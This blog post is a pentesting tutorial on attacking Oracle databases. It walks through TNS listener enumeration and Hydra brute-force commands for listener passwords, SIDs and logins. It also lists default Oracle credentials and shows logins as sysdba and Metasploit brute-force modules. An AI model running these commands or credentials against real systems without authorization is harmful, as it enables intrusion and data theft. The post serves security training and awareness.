Pentesters Guide to Oracle Hacking
A colleague encountered Oracle for the first time this week! Yes, you guessed it, they popped their Oracle DB Cherry! So attached is a sample of notes we shared with them; as usual we thought we would share them with everyone in the interests of being open and to help others learn the basics of connecting to an Oracle database.
What is Oracle?
- Oracle is a RDBMS database that is produced and marketed by Oracle — wikipedia
- RDBMS — A relational multi-model database.
The initial release was Oracle v2 back in 1979, these days Oracle is sporting version 12c (March 2017). But due to expensive licensing you may still see versions 10g and 11g kicking around in your datacenters, or backend database tiers.
So how do we go about penetration testing Oracle databases? The first step is always enumeration followed by more enumeration — just like any other day!
Oracle at a network level
By default the Oracle database listens on TCP port 1521.
You may also get secondary listeners on 1522–1529 (or totally custom ports depending on the administrator).
When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP). For this we have a simple tool called tnscmd/tnscmd10g
$ ./tnscmd.pl status -h 192.168.0.2
sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.2:1521
writing 89 bytes
reading
. .......6.........E. ...........O........(DESCRIPTION=(TMP=)(VSNNUM=153093376)(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)
(VERSION=TNSLSNR for 32-bit Windows: Version 10.2.0.5.0 - Production)(START_DATE=30-MAY-2007 02:00:25)
In the above example we have discovered an Oracle 10g database thats willing to talk to us; If however, you recieve an error, the listener may be password protected — dont worry…. hydra to the rescue.
Hydra & Oracle Listener
Use the following command syntax to brute-force a listener password
./hydra -P <Password File> -t <no of threads> -s 1521 (target default port) <target> oracle-listener
Example:
./hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
Once we have access to the listener the next step is to enumerate the SID!
Enumerating the SID
What is a SID
The SID (Service Identifier) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID.
So how do we enumerate SIDs, first there is a brilliant tool from cqure.net called OScanner, but we can also use Hydra and Metasploit.
OScanner
Oscanner is a brilliant security tool from cqure (some reason I cant find the a link that works) but it is available in Kali Linux — https://tools.kali.org/vulnerability-analysis/oscanner
$ sudo oscanner -s 192.168.1.18 -P 8888
[sudo] password for cyborg:
Oracle Scanner 1.0.6 by patrik@cqure.net
--------------------------------------------------
[-] Checking host 192.168.1.18
[x] Failed to enumerate sids from host
[-] Loading services/sids from service file
[+] Checking sid (ORCL) for common passwords
Hydra & Oracle SIDs
Use the following command syntax to brute-force SIDs
./hydra -L <File of SIDs> -s 1521 (target default port) <target> oracle-sid
Example:
./hydra -L /usr/share/oscanner/lib/services.txt -s 1521 host.victim oracle-sid
Once we have found a valid SID, the next step is account enumeration!
Oracle Targeting Accounts
This is where we target the databases user accounts. If we’re just after data, any account could be useful, but if we want to escalate privileges we need either a DBA account or the SYS account to capture either sensitive information; such as password hashes, or execute code, that could possibly facilitate remote code execution on the local Operating System.
Default Passwords
Below are some of the default passwords associated with Oracle:
- DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
- SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
- PCMS_SYS/PCMS_SYS — Default x account
- WMSYS/WMSYS — Default x account
- OUTLN/OUTLN — Default x account
- SCOTT/TIGER — Default x account Other default passwords can be found here and here.
Or we can use automated tools to help us out:
Oscanner
$ sudo oscanner -s 192.168.1.18 -P 8888
[sudo] password for cyborg:
Oracle Scanner 1.0.6 by patrik@cqure.net
--------------------------------------------------
[-] Checking host 192.168.1.18
[x] Failed to enumerate sids from host
[-] Loading services/sids from service file
[+] Checking sid (ORCL) for common passwords
[-] Account DBSNMP/DBSNMP found
[-] Account CTXSYS/CTXSYS found
[-] Account SYSTEM/MANAGER found
Hydra & Oracle SQL-Login
./hydra -L <File of usernames> -P <File of Passwords> -s 1521 (target default port) <target> /<database name/SID>
Example:
./hydra -L /tmp/user.txt -P /tmp/pass.txt -s 1521 host.victim oracle /PLSEXTPROC
Assuming that on each stage we are successful, we should have a Listener, SID and valid account. Next we log into the database….
Installing and Using SQLPLUS
We will quickly walk through the installation of Oracle and sqlplus on Debian/Ubuntu based systems:
The Install
As root, create the directory /opt/oracle. Then download the Oracle Instant Client packages for your version of Kali Linux. The packages you will need are:
- instantclient-basic-linux-12.1.0.1.0.zip
- instantclient-sqlplus-linux-12.1.0.1.0.zip
- instantclient-sdk-linux-12.1.0.1.0.zip
Unzip these under /opt/oracle, and you should now have a path called /opt/oracle/instantclient_12_1/. Next symlink the shared library that we need to access the library from oracle:
# ln libclntsh.so.12.1 libclntsh.so # ls -lh libclntsh.so lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 # ldconfig
You also need to configure the appropriate environment variables, add the following to either
~/.bashrc /etc/profile export PATH=$PATH:/opt/oracle/instantclient_12_1 export SQLPATH=/opt/oracle/instantclient_12_1 export TNS_ADMIN=/opt/oracle/instantclient_12_1 export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1 export ORACLE_HOME=/opt/oracle/instantclient_12_1
Add Oracle libraries to ldconfig:
echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle
If you have succeeded, you should be able to run sqlplus from a command prompt (you may need to log out and log back in again):
# sqlplus SQL*Plus: Release 12.1.0.2.0 Production on Mon Jun 1 17:22:53 2015 Copyright (c) 1982, 2014, Oracle. All rights reserved. Enter user-name:
Logging into a Remote Database The simplest command is:
sqlplus <username>/<password>@<ip_address>/<SID>;
If the TNS Listener is on a non-default port (e.g. TCP/1522) :
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
If an account has system database priviledges (sysdba) or system operator (sysop) you may wish to try the following:
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
Example — logging in as a dba on a default listener
sqplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
Metasploit Framework & Oracle
Next week, we’ll discuss setting up Metasploit and replaying these attacks:
Step One — Install SQLPLUS
Simply follow the instructions above
Step Two — Install Ruby Gem ruby-oci8
- wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip
- unzip ruby-oci8-2.1.8.zip
- cd ruby-oci8-ruby-oci8-2.1.8/
Install other OS dependancies:
apt-get install libgmp-dev
Compile and install ruby-oci8
- make
- make install
- gem install ruby-oci8
Step Three — Test the install
# msfconsole
msf> use auxiliary/admin/oracle/tnscmd
msf auxiliary(sql) > Set RHOST 192.168.0.2
msf auxiliary(sql) > run
[*] Sending SQL...
[*] Oracle10g Enterprise Edition Release 10.2.0.5.0 - Production
[*] PL/SQL Release 10.2.0.5.0 - Production
[*] CORE 10.2.0.5.0 Production
[*] TNS for Solaris: Version 10.2.0.5.0 - Production
[*] NLSRTL Version 10.2.0.5.0 - Production
[*] Done...
[*] Auxiliary module execution completed
MSF & SIDs
The example is abbreviated and assumes you can work Metasploit console:
use auxiliary/admin/oracle/sid_brute
msf > run
[*] 192.168.0.2:1521 - Checking 1 SID false against 192.168.0.2:1521
[*] 192.168.0.2:1521 - 192.168.0.2:1521 Oracle - Checking 'ORCL'
[*] 192.168.0.2:1521 - 192.168.0.2:1521 Oracle - 'ORCL' is valid
[*] 192.168.0.2:1521 - 192.168.0.2:1521 1 of 1 hosts (100%)...
MSF & Accounts
Another simple example:
use auxiliary/admin/oracle/oracle_login
msf > run
[*] Starting brute force on 192.168.0.2:1521
...
[*] Auxiliary mode execution completed
The End
This concludes our mini Oracle walk through for this week; Hopefully, you have all learnt something new. If you want to practise attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM:
- http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html
Hopefully next week (or in the near future) we will have the time to cover more attacks against the Oracle database. So stay tuned!
Disclaimer
Netscylla or its staff cannot be held responsible for any abuse relating from this blog post. This post is to raise awareness in the possible design and implementation flaws from system and database administrators that may or may not include security weaknesses, which may compromise your enterprise database. REMEMBER: It is illegal to attempt unauthorised access on any system you do not personally own, unless you have explicit permission in writing from the system owner!
Share on: